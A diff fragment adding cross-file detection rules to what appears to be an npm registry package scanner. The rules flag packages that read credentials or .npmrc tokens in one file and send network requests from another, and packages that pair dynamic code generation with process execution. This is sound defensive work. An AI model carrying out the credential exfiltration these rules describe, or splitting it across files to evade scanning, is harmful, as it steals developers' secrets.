* registry batch-scanner contract (it resets() per package, so the whole map IS one package).
|
|
378
|
+
* Callers in either mode MUST reset() between packages.
|
|
379
|
+
*
|
|
380
|
+
* NB (deviation from the original registry rule, carried back on sync): the credential pairing
|
|
381
|
+
* keys on `sensitivePath` (a genuine credential path), NOT bare `sensitiveRead` (any
|
|
382
|
+
* fs.readFile). The looser form false-positived on ordinary multi-file packages that read a
|
|
383
|
+
* template/asset in one file and make an HTTP call in another. This matches the intra-file
|
|
384
|
+
* rule's strictness.
|
|
385
|
+
*/
|
|
386
|
+
analyzePackage(packageKey) {
|
|
387
|
+
let entries = [...this.moduleSignals.entries()];
|
|
388
|
+
if (packageKey !== undefined && packageKey !== null) {
|
|
389
|
+
entries = entries.filter(([f]) => this.filePackage.get(f) === packageKey);
|
|
390
|
+
}
|
|
391
|
+
const found = [];
|
|
392
|
+
if (entries.length < 2) return found;
|
|
393
|
+
|
|
394
|
+
const filesWhere = (pred) => entries.filter(([, s]) => pred(s)).map(([f]) => f);
|
|
395
|
+
// Strip to basenames in descriptions so scanner-host temp paths never leak; pairing itself
|
|
396
|
+
// stays on full paths (two distinct files can share a basename).
|
|
397
|
+
const base = f => String(f).split(/[\\/]/).pop();
|
|
398
|
+
const crossPair = (as, bs) => {
|
|
399
|
+
for (const a of as) for (const b of bs) if (a !== b) return [base(a), base(b)];
|
|
400
|
+
return null;
|
|
401
|
+
};
|
|
402
|
+
|
|
403
|
+
const credFiles = filesWhere(s => s.sensitivePath);
|
|
404
|
+
const npmrcTokenFiles = filesWhere(s => s.npmrcRead && (s.npmrcToken || s.hostOption || s.hardcodedEgressNonRegistry));
|
|
405
|
+
const egressFiles = filesWhere(s => s.networkEgress);
|
|
406
|
+
const dynamicCodeFiles = filesWhere(s => s.dynamicCode);
|
|
407
|
+
const processExecFiles = filesWhere(s => s.processExec);
|
|
408
|
+
|
|
409
|
+
const credPair = crossPair(credFiles, egressFiles);
|
|
410
|
+
if (credPair) {
|
|
411
|
+
found.push({
|
|
412
|
+
rule: 'CREDENTIAL_EXFILTRATION_CROSS_FILE',
|
|
413
|
+
severity: 'CRITICAL',
|
|
414
|
+
description: `Package reads sensitive credentials in ${credPair[0]} and makes network calls in ${credPair[1]} -- split across files to evade per-file scanning`,
|
|
415
|
+
files: credPair,
|
|
416
|
+
});
|
|
417
|
+
}
|
|
418
|
+
|
|
419
|
+
const npmrcPair = crossPair(npmrcTokenFiles, egressFiles);
|
|
420
|
+
if (npmrcPair) {
|
|
421
|
+
found.push({
|
|
422
|
+
rule: 'CREDENTIAL_EXFILTRATION_CROSS_FILE',
|
|
423
|
+
severity: 'CRITICAL',
|
|
424
|
+
description: `Package reads .npmrc credentials in ${npmrcPair[0]} and makes network calls in ${npmrcPair[1]} -- split across files to evade per-file scanning`,
|
|
425
|
+
files: npmrcPair,
|
|
426
|
+
});
|
|
427
|
+
}
|
|
428
|
+
|
|
429
|
+
const execPair = crossPair(dynamicCodeFiles, processExecFiles);
|
|
430
|
+
if (execPair) {
|
|
431
|
+
found.push({
|
|
432
|
+
rule: 'DYNAMIC_CODE_EXEC_CHAIN_CROSS_FILE',
|
|
433
|
+
severity: 'CRITICAL',
|
|
434
|
+
description: `Package generates code dynamically in ${execPair[0]} and executes system processes in ${execPair[1]} -- split across files to evade per-file scanning`,
|
|
435
|
+
files: execPair,
|
|
436
|
+
});
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
if (found.length > 0) {
|
|
440
|
+
this.violations.push({ filename: '<package>', violations: found, timestamp: Date.now() });
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
return found;
|
|
444
|
+
}
|
|
445
|
+
|
|
446
|
+
reset() {
|
|
447
|
+
this.moduleSignals.clear();
|
|
448
|
+
this.filePackage.clear();
|
|
449
|
+
this.violations = [];
|
|
450
|
+
}
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
// SIGNAL_PATTERNS is exported so downstream tooling can iterate the raw signal regexes for
|
|
454
|
+
// evidence reconstruction (the registry's watch-changes.js). Keeps this engine a drop-in copy.
|
|
455
|
+
module.exports = { BehaviorTracker, SIGNAL_PATTERNS };
|